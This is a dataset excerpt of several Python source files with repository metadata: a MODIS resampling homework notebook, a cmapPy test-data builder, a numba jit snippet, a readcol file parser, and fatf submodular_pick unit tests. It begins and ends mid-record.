error\"],color=['black','magenta'],show=1)\n\ndef example_plot_image_ascent():\n    from scipy.misc import ascent\n\n    ascent = np.rot90(ascent(),-1)\n    plot_image(ascent,np.arange(0,ascent.shape[0]),np.arange(0,ascent.shape[1]),cmap='gray' )\n#\n# main\n#\nif __name__ == \"__main__\":\n    pass\n    # example_plot_one_curve()\n    # example_plot_two_curves()\n    # example_plot_one_curve_log()\n    # example_plot_table()\n    # example_plot_table_one_curve()\n    # example_plot_table_with_errorbars()\n    # example_plot_image()\n    # example_plot_image_with_histograms()\n    # example_plot_surface()\n    # example_plot_contour()\n    # example_plot_scatter()\n    # example_plot_image_ascent()\n", "meta": {"hexsha": "23dea67c17a6ca6e8c01b71f8dc604eb57fb4e95", "size": 21296, "ext": "py", "lang": "Python", "max_stars_repo_path": "ID18_U18_ONE_LENS/7keV_ShadowHybrid_R200um/gol.py", "max_stars_repo_name": "srio/paper-transfocators-resources", "max_stars_repo_head_hexsha": "917d8b4114056f62c84b295579e55bf5f0b56b6b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-03-25T15:34:56.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-25T15:34:56.000Z", "max_issues_repo_path": "ID18_U18_ONE_LENS/7keV_ShadowHybrid_R200um/gol.py", "max_issues_repo_name": "srio/paper-transfocators-resources", "max_issues_repo_head_hexsha": "917d8b4114056f62c84b295579e55bf5f0b56b6b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ID18_U18_ONE_LENS/7keV_ShadowHybrid_R200um/gol.py", "max_forks_repo_name": "srio/paper-transfocators-resources", "max_forks_repo_head_hexsha": "917d8b4114056f62c84b295579e55bf5f0b56b6b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.7015341702, "max_line_length": 160, "alphanum_fraction": 0.6071562735, "include": true, "reason": "import numpy,from scipy", "num_tokens": 6244, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713671682749474, "lm_q2_score": 0.12592277467581975, "lm_q1q2_score": 0.05756392378911264}}
{"text": "\r\n# coding: utf-8\r\n\r\n# <h1>Table of Contents<span class=\"tocSkip\"></span></h1>\r\n# <div class=\"toc\"><ul class=\"toc-item\"><li><span><a href=\"#Use-pyresample-to-plot-channel-30-Tbright\" data-toc-modified-id=\"Use-pyresample-to-plot-channel-30-Tbright-1\"><span class=\"toc-item-num\">1&nbsp;&nbsp;</span>Use pyresample to plot channel 30 Tbright</a></span></li><li><span><a href=\"#Copy-your-working-files-into-the-generic-files\" data-toc-modified-id=\"Copy-your-working-files-into-the-generic-files-2\"><span class=\"toc-item-num\">2&nbsp;&nbsp;</span>Copy your working files into the generic files</a></span></li><li><span><a href=\"#Calculate-chan-30-brightness-temperature\" data-toc-modified-id=\"Calculate-chan-30-brightness-temperature-3\"><span class=\"toc-item-num\">3&nbsp;&nbsp;</span>Calculate chan 30 brightness temperature</a></span></li><li><span><a href=\"#resample-the-brightness-temperatures\" data-toc-modified-id=\"resample-the-brightness-temperatures-4\"><span class=\"toc-item-num\">4&nbsp;&nbsp;</span>resample the brightness temperatures</a></span></li><li><span><a href=\"#replace-missing-values-with-floating-point-nan\" data-toc-modified-id=\"replace-missing-values-with-floating-point-nan-5\"><span class=\"toc-item-num\">5&nbsp;&nbsp;</span>replace missing values with floating point nan</a></span></li><li><span><a href=\"#Plot-the-image-using-cartopy\" data-toc-modified-id=\"Plot-the-image-using-cartopy-6\"><span class=\"toc-item-num\">6&nbsp;&nbsp;</span>Plot the image using cartopy</a></span></li></ul></div>\r\n\r\n# # Use pyresample to plot channel 30 Tbright\r\n# \r\n# This notebook uses a MYD03 file and a modis_chans.hdf file to resample the channel 30 radiance\r\n# from your granule onto a laea projection.\r\n# \r\n# I've deleted two cells below (sections 5 and 6).  Using the cartopy_resample_ch30.ipynb and\r\n# the assign4_solution.ipynb notebooks as guides, fill those cells in with the code that plots the channel 30 brightness temperature for your granule.\r\n# \r\n# \r\n\r\n# In[ ]:\r\n\r\n\r\nimport a301\r\nimport json\r\nfrom a301.utils.data_read import download\r\nimport a301\r\nimport pprint\r\nimport shutil\r\nfrom pyhdf.SD import SD, SDC\r\nimport json\r\nfrom pyresample import kd_tree\r\nfrom a301.scripts.modismeta_read import parseMeta\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\nimport cartopy.crs as ccrs\r\nimport matplotlib.pyplot as plt\r\nimport cartopy\r\nfrom pathlib import Path\r\nimport pprint\r\nimport numpy as np\r\nimport pdb\r\nimport shutil\r\nimport sys\r\n#\r\n\r\n\r\n# First run the modis_multichannel.ipynb notebook for your granule and get a\r\n# calibrated ch30,ch31 radiance file out.  Copy tha file into your a301_code/data directory.\r\n# \r\n# \r\n\r\n# # Copy your working files into the generic files\r\n# \r\n# I've wrapped the cell below in a \"try/except\" block so that you can run it to\r\n# copy your own files into the generic files, but the notebook will also run on\r\n# my computer, which will only have my own generic files to test with.\r\n# \r\n# By catching the general exception called Exception, I make this cell succeed\r\n# regardless of error.\r\n# \r\n# \r\n\r\n# In[ ]:\r\n\r\n\r\ntry:\r\n    #\r\n    # this cell copies your files to the following generic files if they don't exist\r\n    #\r\n    generic_rad = a301.data_dir / Path('rad_file_2018_10_1.hdf')\r\n    generic_m3 = a301.data_dir / Path('m3_file_2018_10_1.hdf')\r\n    #\r\n    # put your MYD03 file and you modis radiance file names here instead of my files\r\n    #\r\n    m3_file = a301.data_dir / Path('MYD03.A2013222.2105.006.2013223155808.hdf')\r\n    rad_file = a301.data_dir / Path('modis_chans_2018_9_24.hdf')\r\n    #\r\n    # do the copies  (could also do this by hand)\r\n    #\r\n    shutil.copy(m3_file,generic_m3)\r\n    shutil.copy(rad_file,generic_rad)\r\n    #\r\n    # test to make sure we have the right files\r\n    #\r\n    rad_file = SD(str(generic_rad), SDC.READ)\r\n    rad_filename = rad_file.filename\r\n    rad_file.end()\r\n    print(f\"\\nworking with radiance file {generic_rad}\\n\"\r\n          f\"with original data {rad_filename}\\n\")\r\n    m3_metadata=parseMeta(generic_m3)\r\n    print(f\"\\nworking with m3_file {generic_m3} \\n\"\r\n          f\"with original data {m3_metadata['filename']}\")\r\nexcept Exception as ex:\r\n    ex_type, ex_val, tb = sys.exc_info()\r\n    print(f'caught {ex_type}, {ex_val} but ignoring it')\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n# Read the lats and lons from the MYD03 file\r\ngeneric_rad = a301.data_dir / Path('rad_file_2018_10_1.hdf')\r\ngeneric_m3 = a301.data_dir / Path('m3_file_2018_10_1.hdf')\r\nprint(f'reading {generic_m3}')\r\nm3_file = SD(str(generic_m3), SDC.READ)\r\nlats = m3_file.select('Latitude').get()\r\nlons = m3_file.select('Longitude').get()\r\nm3_file.end()\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n#Read ch30 from the generic_rad file\r\nrad_file = SD(str(generic_rad), SDC.READ)\r\nch30 = rad_file.select('ch30').get()\r\nrad_file.end()\r\n\r\n\r\n# # Calculate chan 30 brightness temperature\r\n# \r\n# copy code from the assignment4 solution using planck_invert for channel 30\r\n\r\n# In[ ]:\r\n\r\n\r\n# YOUR CODE HERE\r\nraise NotImplementedError()\r\n\r\n\r\n# # resample the brightness temperatures\r\n# \r\n# now put the brightness temperatures on the grid following cartopy_resample_ch30.ipynb\r\n# \r\n# \r\n# Note that you don't need to be exact about your center lat/lon points\r\n# below -- just get them within a degree or so.\r\n\r\n# In[ ]:\r\n\r\n\r\nproj4_params = {'datum': 'WGS84',\r\n                  'ellps': 'WGS84',\r\n                  'lat_0': \"your center lat here\",\r\n                  'lon_0': \"your center lon here\",\r\n                  'proj': 'laea',\r\n                  'x_0': 0.0,\r\n                  'y_0': 0.0}\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n# YOUR CODE HERE\r\nraise NotImplementedError()\r\n\r\n\r\n# # replace missing values with floating point nan\r\n\r\n# In[ ]:\r\n\r\n\r\nnan_value = np.array([np.nan],dtype=np.float32)[0]\r\nimage_30[image_30< -9000]=nan_value\r\n\r\n\r\n# # Plot the image using cartopy\r\n\r\n# In[ ]:\r\n\r\n\r\ncrs = area_def.to_cartopy_crs()\r\nfig, ax = plt.subplots(1, 1, figsize=(10,10),\r\n                          subplot_kw={'projection': crs})\r\nax.gridlines(linewidth=2)\r\nax.add_feature(cartopy.feature.GSHHSFeature(scale='coarse', levels=[1,2,3]));\r\nax.set_extent(crs.bounds,crs)\r\ncs=ax.imshow(image_30, transform=crs, extent=crs.bounds, origin='upper',alpha=0.8)\r\nfig.colorbar(cs);\r\n\r\n", "meta": {"hexsha": "02e29a8d475720b440490b73fd3a864846f7fc79", "size": 6128, "ext": "py", "lang": "Python", "max_stars_repo_path": "assignments/assignment5.py", "max_stars_repo_name": "Pearl-Ayem/ATSC_Notebook_Data", "max_stars_repo_head_hexsha": "c075d166c235ac4e68a4b77750e02b2a5e77abd0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "assignments/assignment5.py", "max_issues_repo_name": "Pearl-Ayem/ATSC_Notebook_Data", "max_issues_repo_head_hexsha": "c075d166c235ac4e68a4b77750e02b2a5e77abd0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "assignments/assignment5.py", "max_forks_repo_name": "Pearl-Ayem/ATSC_Notebook_Data", "max_forks_repo_head_hexsha": "c075d166c235ac4e68a4b77750e02b2a5e77abd0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.8563535912, "max_line_length": 1429, "alphanum_fraction": 0.6866840731, "include": true, "reason": "import numpy", "num_tokens": 1706, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4571367168274948, "lm_q2_score": 0.1259227631950178, "lm_q1q2_score": 0.057563918540816536}}
{"text": "\"\"\"\nCreates a small GCToo instance (with representative examples of typically found fields); can use for testing.\n\nex:\n    import mini_gctoo_for testing\n    my_mini_gctoo = mini_gctoo_for_testing.make()\n\"\"\"\nimport logging\nimport pandas\nimport numpy\nimport cmapPy.pandasGEXpress.GCToo as GCToo\nimport cmapPy.pandasGEXpress.setup_GCToo_logger as setup_logger\n\n__author__ = 'Oana Enache'\n__email__ = 'oana@broadinstitute.org'\n\nlogger = logging.getLogger(setup_logger.LOGGER_NAME)\n\n\ndef make(convert_neg_666=True):\n    \"\"\"\n    Creates a small GCToo instance (with representative examples of typically found fields); can use for testing.\n    \"\"\"\n    # metadata examples; should be one of each type reasonable to find\n    id_vals = [\"LJP007_MCF10A_24H:TRT_CP:BRD-K93918653:3.33\", \"MISC003_A375_24H:TRT_CP:BRD-K93918653:3.33\",\n               \"LJP007_MCF7_24H:TRT_POSCON:BRD-K81418486:10\", \"LJP007_MCF7_24H:TRT_POSCON:BRD-A61304759:10\",\n               \"LJP007_MCF7_24H:CTL_VEHICLE:DMSO:-666\", \"LJP007_MCF7_24H:TRT_CP:BRD-K64857848:10\"]\n    count_cv = [\"14|15|14\", \"13|14|13\",\n                \"13|15|14|14|15|14|14|13|14|15|15|14|14|15|14|15|14|14|15|14|15|14|14|14|14|14|14|15|14|14|15|14|14|14|14|13|14|14|14|14|14|14|15|14|13|13|15|14|14|15|14|14|14|15|13|13|15|13|14|13|13|14|14|14|14|13\",\n                \"13\", \"13\", \"14\"]\n    distil_ss = [9.822065353, 6.8915205, 1.35840559, 5.548898697, 3.355231762, 4.837643147]\n    zmad_ref = [\"population\", \"population\", \"population\", \"population\", \"population\", \"population\"]\n    distil_nsample = [3, 3, 66, 2, 9, 111111]\n    mfc_plate_id = [\"-666\", \"-666\", \"-666\", \"-666\", \"-666\", \"-666\"]\n\n    # build metadata dataframe\n    mini_meta_dict = {}\n    mini_meta_dict[\"id\"] = id_vals\n    mini_meta_dict[\"count_cv\"] = count_cv\n    mini_meta_dict[\"distil_ss\"] = distil_ss\n    mini_meta_dict[\"zmad_ref\"] = zmad_ref\n    mini_meta_dict[\"distil_nsample\"] = distil_nsample\n    mini_meta_dict[\"mfc_plate_id\"] = mfc_plate_id\n    mini_row_metadata = pandas.DataFrame(mini_meta_dict)\n\n    if convert_neg_666:\n        mini_row_metadata = mini_row_metadata.replace([-666, \"-666\", -666.0], [numpy.nan, numpy.nan, numpy.nan])\n    else:\n        mini_row_metadata = mini_row_metadata.replace([-666, -666.0], [\"-666\", \"-666\"])\n\n    # for now (at least) col and row metadata are the same\n    mini_col_metadata = mini_row_metadata.copy()\n\n    # data example values\n    r1 = [1, 2, 3, 4, 5, 6]\n    r2 = [4.3, 4.5, 4.3, 4.3, 4.3, 4.3]\n    r3 = [7, 8, 9, 0, 1.23476, 9.758320]\n    r4 = [0.11, 3.3456356, 2.345667, 9.822065353, 4.78865099, 4.7886]\n    r5 = [-0.11, -3.3456356, -2.345667, -9.822065353, -4.78865099, -4.7886]\n    r6 = [1, -2, 3, -4, 5, -6]\n\n    # build data dataframe\n    mini_data_mat = pandas.DataFrame([r1, r2, r3, r4, r5, r6], dtype=numpy.float32)\n    mini_data_mat.index = id_vals\n    mini_data_mat.columns = id_vals\n\n    # instantiate & assign attributes of GCToo instance\n    mini_version = \"GCTX1.0\"\n    mini_src = \"mini_gctoo.gctx\"\n\n    mini_row_metadata_df = mini_row_metadata\n    mini_row_metadata_df.set_index(\"id\", inplace=True)\n    mini_row_metadata.index.name = \"rid\"\n    mini_row_metadata_df.columns.name = \"rhd\"\n\n    mini_col_metadata_df = mini_col_metadata\n    mini_col_metadata_df.set_index(\"id\", inplace=True)\n    mini_col_metadata.index.name = \"cid\"\n    mini_col_metadata_df.columns.name = \"chd\"\n\n    mini_data_df = mini_data_mat\n    mini_data_df.index.name = \"rid\"\n    mini_data_df.columns.name = \"cid\"\n\n    logger.debug(\"Making mini_gctoo instance...\")\n    mini_gctoo = GCToo.GCToo(data_df=mini_data_df, row_metadata_df=mini_row_metadata_df,\n                             col_metadata_df=mini_col_metadata_df, src=mini_src, version=mini_version)\n\n    return mini_gctoo\n", "meta": {"hexsha": "2c94c53ab2691349fd16036e0f7e5cd878c55464", "size": 3714, "ext": "py", "lang": "Python", "max_stars_repo_path": "cmapPy/pandasGEXpress/mini_gctoo_for_testing.py", "max_stars_repo_name": "RCBiczok/cmapPy", "max_stars_repo_head_hexsha": "580b0d656892e72f58047666a94e2769ddf63b3f", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-12-15T06:33:53.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-15T06:33:53.000Z", "max_issues_repo_path": "cmapPy/pandasGEXpress/mini_gctoo_for_testing.py", "max_issues_repo_name": "RCBiczok/cmapPy", "max_issues_repo_head_hexsha": "580b0d656892e72f58047666a94e2769ddf63b3f", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "cmapPy/pandasGEXpress/mini_gctoo_for_testing.py", "max_forks_repo_name": "RCBiczok/cmapPy", "max_forks_repo_head_hexsha": "580b0d656892e72f58047666a94e2769ddf63b3f", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2018-11-06T03:38:15.000Z", "max_forks_repo_forks_event_max_datetime": "2018-11-06T03:38:15.000Z", "avg_line_length": 41.2666666667, "max_line_length": 216, "alphanum_fraction": 0.6857835218, "include": true, "reason": "import numpy", "num_tokens": 1278, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.1225232189263307, "lm_q1q2_score": 0.057437736576739014}}
{"text": "from numba import jit, int32\n\n@jit(int32(int32, int32))\ndef f(x, y):\n    # A somewhat trivial example\n    return x + y\n\nprint(f)\n\n# print(f(123, 123**30))\n\n\n@jit(nopython=True)\ndef f(x, y):\n    return x + y\n", "meta": {"hexsha": "f7507aab80565d9a085aad59b3fafd181bc5706f", "size": 207, "ext": "py", "lang": "Python", "max_stars_repo_path": "attic/specialization.py", "max_stars_repo_name": "IMS-workshop/cython-numba", "max_stars_repo_head_hexsha": "fc9560752f15908d616666df78b1beb970a00a55", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "attic/specialization.py", "max_issues_repo_name": "IMS-workshop/cython-numba", "max_issues_repo_head_hexsha": "fc9560752f15908d616666df78b1beb970a00a55", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "attic/specialization.py", "max_forks_repo_name": "IMS-workshop/cython-numba", "max_forks_repo_head_hexsha": "fc9560752f15908d616666df78b1beb970a00a55", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 12.9375, "max_line_length": 32, "alphanum_fraction": 0.61352657, "include": true, "reason": "from numba", "num_tokens": 71, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.12252320130385978, "lm_q1q2_score": 0.05743772831548983}}
{"text": "\"\"\"\nModule for reading files, more in style of IDL's \"readcol\" procedure. \n\nAuthor:\n\n    C.M. Gosmeyer\n\n\n\"\"\"\n\nfrom __future__ import print_function\nfrom __future__ import with_statement\nimport numpy as np\nimport os\nimport re\nimport sys\n\n\n#-----------------------------------------------------------------------------#\n\ndef readcol(filename, headerstart=0, datastart=1, comment=' ', \n    delimiter=\"\\s+\"):\n    \"\"\" Reads the columns of a text file. Returns the columns as a \n    list of list and the header as a list.\n\n    Parameters\n    ----------\n    filename : str\n        Name of the text file.\n    headerstart : int \n        The row of the header. By default, row=0.\n    datastart : int \n         The row the data begins. By default, row=1\n    comment : str\n         The character denoting a comment line, to be ignored when reading\n         columns. By default nothing. \n    delimiter : str\n         The column divider. By default, spaces or tabs. \n\n    Returns\n    -------\n    header : list of strings\n        List of the column names if they exist in row specified by \n        'headerstart'. If first column name contains a '#' it will \n        be removed. If no column names exist, then returns a list \n        of string numbers, starting at '0'. \n    cols : list of lists\n        List of the columns, each their own list. If no columns found,\n        returns an empty list. \n\n    future improvements:\n    - option to return a dictionary??\n\n    \"\"\"\n\n    # Try and Except to exit gracefully and return empty lists\n    # if the file does not exist.\n    # (but if end up not returning empty lists, could try to \n    # re-write the with loop into the try-with)\n    try: \n        # Open using with so that if error occurs the file will\n        # be closed properly.\n        with open(filename, 'r') as f:\n            print(\"reading {}\".format(filename))\n\n            # Initialize counts and lists.\n            cols = []\n            row_count = 0\n\n            # Make sure that \\t, \\n, etc will still be split out.\n            if delimiter != \"\\s+\":\n                delimiter = '[' + delimiter + '\\s\\+]'\n\n            # not too happy with the with then for structure\n            # but better to use with so that file always is closed.\n            # how to return custom output if exception occurs? \n            for line in f:\n\n                # Change line into list of entires, split by the \n                # delimiter.\n                linestrip = re.split(delimiter, line)\n\n                # Remove all empty strings.\n                while '' in linestrip:\n                    linestrip.remove('')\n\n                # First test that line is not empty.\n                # Second test whether the first line is in fact\n                # a custom comment.\n                # If the user chooses to have a comment above the header,\n                # and that header is denoted by the same comment marker,\n                # it is on the user to choose correctly the 'headerstart'.\n                if linestrip != [] and linestrip[0][0] != comment:\n\n                    # If there is a header, retrieve the column names.\n                    if row_count == headerstart and headerstart != datastart:\n                        # Figure out how many columns and their names.\n                        if linestrip[0] == '#':\n                            ncols = len(linestrip)-1\n                            linestrip.remove('#')\n                        else:\n                            ncols = len(linestrip)\n                        print('ncols: {}'.format(ncols))\n                        header = linestrip\n                        # Initilize empty list for each column.\n                        cols = [[] for row in range(ncols)]\n\n                        # Remove comment if first character.\n                        if header[0][0] == '#':\n                            header[0] = header[0][1:]\n\n                    # If there is no header, just name the columns\n                    # by number.\n                    elif row_count == datastart and datastart == headerstart:\n                        ncols = len(linestrip)\n                        header = list(map(str, np.arange(ncols)))\n                        # Initilize empty list for each column.\n                        cols = [[] for row in range(ncols)]\n\n                    # For all rows not in header, not empty, and not \n                    # a comment, append to column list.\n                    # This is an if so that it can execute should\n                    # headerstart = datastart = 0.\n                    if row_count >= datastart and linestrip != []:\n                        for item, row in zip(linestrip, range(ncols)):\n                            cols[row].append(item)\n                    row_count+=1\n\n        # Check whether the file was empty or no valid columns read.\n        if cols == []:\n            print(\"No valid columns found for file {}.\".format(filename))\n            return [], []\n        else:\n            return header, cols\n\n    except IOError:\n        print(\"File {} does not exist.\".format(filename))\n        return [], []\n", "meta": {"hexsha": "acd5fcd21887c3e3be26fce971dc80947dd70167", "size": 5106, "ext": "py", "lang": "Python", "max_stars_repo_path": "analysis_tools/io/readcol.py", "max_stars_repo_name": "cgosmeyer/analysis_tools", "max_stars_repo_head_hexsha": "b15fa0b5973e96949cf459b49ef0bef2c1044aa5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "analysis_tools/io/readcol.py", "max_issues_repo_name": "cgosmeyer/analysis_tools", "max_issues_repo_head_hexsha": "b15fa0b5973e96949cf459b49ef0bef2c1044aa5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "analysis_tools/io/readcol.py", "max_forks_repo_name": "cgosmeyer/analysis_tools", "max_forks_repo_head_hexsha": "b15fa0b5973e96949cf459b49ef0bef2c1044aa5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.7338129496, "max_line_length": 79, "alphanum_fraction": 0.5168429299, "include": true, "reason": "import numpy", "num_tokens": 1047, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43782349911420193, "lm_q2_score": 0.13117323225300487, "lm_q1q2_score": 0.05743072353513048}}
{"text": "\"\"\"\nTets the :mod:`fatf.transparency.models.submodular_pick` module.\n\"\"\"\n# Author: Alex Hepburn <ah13558@bristol.ac.uk>\n#         Kacper Sokol <k.sokol@bristol.ac.uk>\n# License: new BSD\n\nimport pytest\n\nimport numpy as np\n\nfrom fatf.exceptions import IncorrectShapeError\nfrom fatf.utils.testing.arrays import NOT_BASE_NP_ARRAY\n\nimport fatf\n\nimport fatf.transparency.models.submodular_pick as ftms\n\n# yapf: disable\nNUMERICAL_NP_ARRAY = np.array([\n    [0, 0, 0.08, 0.69],\n    [1, 0, 0.03, 0.29],\n    [0, 1, 0.99, 0.82],\n    [0, 1, 0.07, 0.21]])\n\nCATEGORICAL_STRUCT_ARRAY = np.array(\n    [('a', 'b', 'c'),\n     ('a', 'f', 'g'),\n     ('b', 'c', 'c')],\n    dtype=[('a', 'U1'), ('b', 'U1'), ('c', 'U1')])\n\nEXPLAINERS = [\n    {'a': 0.1, 'b': 0.1, 'c': 0.1, 'd': 0.1},\n    {'a': 0.1, 'b': 0.1},\n    {'e': 0.1, 'd': 0.1},\n    {'a': 0.9, 'b': 0.9, 'c': 0.9, 'd': 0.9}]\n# yapf: enable\n\n\ndef explain_instance_a(instance):\n    ind = np.where((NUMERICAL_NP_ARRAY == instance).all(axis=1))\n    i = ind[0][0]\n    return EXPLAINERS[i]\n\n\ndef explain_instance_b(instance):\n    ind = np.where((NUMERICAL_NP_ARRAY == instance).all(axis=1))\n    i = ind[0][0]\n    return EXPLAINERS[::-1][i]\n\n\ndef test_validate_input():\n    \"\"\"\n    Tests :func:`fatf.transparency.models.submodular_pick._validate_input`.\n    \"\"\"\n    explain_instance = lambda x: x + 1  # noqa: E731\n\n    msg = 'The input data set must be a 2-dimensional array.'\n    with pytest.raises(IncorrectShapeError) as exin:\n        ftms._validate_input(\n            np.array([0, ]), None, None, None)  # yapf: disable\n    assert str(exin.value) == msg\n\n    msg = ('The input data set must only contain base types (strings and '\n           'numbers).')\n    with pytest.raises(ValueError) as exin:\n        ftms._validate_input(NOT_BASE_NP_ARRAY, None, None, None)\n    assert str(exin.value) == msg\n\n    msg = 'sample_size must be an integer.'\n    with pytest.raises(TypeError) as exin:\n        ftms._validate_input(NUMERICAL_NP_ARRAY, explain_instance, 'int', None)\n    assert str(exin.value) == msg\n\n    msg = 'sample_size must be a non-negative integer.'\n    with pytest.raises(ValueError) as exin:\n        ftms._validate_input(NUMERICAL_NP_ARRAY, explain_instance, -1, None)\n    assert str(exin.value) == msg\n\n    msg = 'explanations_number must be an integer.'\n    with pytest.raises(TypeError) as exin:\n        ftms._validate_input(NUMERICAL_NP_ARRAY, explain_instance, 1, 'a')\n    assert str(exin.value) == msg\n\n    msg = 'explanations_number must be a non-negative integer.'\n    with pytest.raises(ValueError) as exin:\n        ftms._validate_input(NUMERICAL_NP_ARRAY, explain_instance, 1, -1)\n    assert str(exin.value) == msg\n\n    msg = ('The explain_instance should be a Python callable '\n           '(function or method).')\n    with pytest.raises(TypeError) as exin:\n        ftms._validate_input(NUMERICAL_NP_ARRAY, None, 1, 1)\n    assert str(exin.value) == msg\n\n    msg = ('The explain_instance callable must accept '\n           'exactly one required parameter.')\n    cal = lambda x, y: x + y  # noqa: E731\n    with pytest.raises(RuntimeError) as exin:\n        ftms._validate_input(NUMERICAL_NP_ARRAY, cal, 1, 1)\n    assert str(exin.value) == msg\n\n    msg = ('The number of explanations cannot be larger than '\n           'the number of samples.')\n    with pytest.raises(ValueError) as exin:\n        ftms._validate_input(NUMERICAL_NP_ARRAY, explain_instance, 1, 2)\n    assert str(exin.value) == msg\n\n    # All OK\n    assert ftms._validate_input(NUMERICAL_NP_ARRAY, explain_instance, 1, 1)\n    assert ftms._validate_input(\n        CATEGORICAL_STRUCT_ARRAY, explain_instance, 0, 0)  # yapf: disable\n    assert ftms._validate_input(NUMERICAL_NP_ARRAY, explain_instance, 0, 1)\n\n\ndef test_submodular_pick():\n    \"\"\"Tests :func:`fatf.transparency.models.submodular_pick`.\"\"\"\n    fatf.setup_random_seed()\n\n    explanations, explanation_ind = ftms.submodular_pick(\n        NUMERICAL_NP_ARRAY, explain_instance_a, explanations_number=2)\n    assert explanation_ind == [0, 2]\n    assert explanations == [EXPLAINERS[0], EXPLAINERS[2]]\n\n    explanations, explanation_ind = ftms.submodular_pick(\n        NUMERICAL_NP_ARRAY, explain_instance_b, explanations_number=2)\n    assert explanation_ind == [0, 1]\n    assert explanations == [EXPLAINERS[3], EXPLAINERS[2]]\n\n    msg = ('sample_size is larger than the number of samples in the data set. '\n           'The whole dataset will be used.')\n    with pytest.warns(UserWarning) as warning:\n        explanations, explanation_ind = ftms.submodular_pick(\n            NUMERICAL_NP_ARRAY,\n            explain_instance_a,\n            sample_size=100,\n            explanations_number=1)\n    assert len(warning) == 1\n    assert str(warning[0].message) == msg\n    assert explanation_ind == [0]\n    assert explanations == [EXPLAINERS[0]]\n\n    explanations, explanation_ind = ftms.submodular_pick(\n        NUMERICAL_NP_ARRAY,\n        explain_instance_a,\n        sample_size=1,\n        explanations_number=1)\n    assert explanation_ind == [1]\n    assert explanations == [EXPLAINERS[1]]\n\n    explanations, explanation_ind = ftms.submodular_pick(\n        NUMERICAL_NP_ARRAY,\n        explain_instance_a,\n        sample_size=0,\n        explanations_number=0)\n    assert explanation_ind == [0, 2, 1, 3]\n    assert explanations == [\n        EXPLAINERS[0], EXPLAINERS[2], EXPLAINERS[1], EXPLAINERS[3]\n    ]\n\n    explanations, explanation_ind = ftms.submodular_pick(\n        NUMERICAL_NP_ARRAY,\n        explain_instance_a,\n        sample_size=2,\n        explanations_number=0)\n    assert explanation_ind == [3, 1]\n    assert explanations == [EXPLAINERS[3], EXPLAINERS[1]]\n\n    msg = ('The number of explanations cannot be larger than '\n           'the number of instances (rows) in the data set.')\n    with pytest.warns(UserWarning) as warning:\n        explanations, explanation_ind = ftms.submodular_pick(\n            NUMERICAL_NP_ARRAY, explain_instance_a, 0, 222)\n    assert len(warning) == 1\n    assert str(warning[0].message) == msg\n    assert explanation_ind == [0, 2, 1, 3]\n    assert explanations == [\n        EXPLAINERS[0], EXPLAINERS[2], EXPLAINERS[1], EXPLAINERS[3]\n    ]\n", "meta": {"hexsha": "dc174b2a4360ef035b9b68ee94740b4647caeb23", "size": 6137, "ext": "py", "lang": "Python", "max_stars_repo_path": "fatf/transparency/models/tests/test_submodular_pick.py", "max_stars_repo_name": "AnthropocentricAI/fatf", "max_stars_repo_head_hexsha": "3f68ecb278da7a5ae8e11db186be5ce11fdf61ef", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "fatf/transparency/models/tests/test_submodular_pick.py", "max_issues_repo_name": "AnthropocentricAI/fatf", "max_issues_repo_head_hexsha": "3f68ecb278da7a5ae8e11db186be5ce11fdf61ef", "max_issues_repo_licenses": 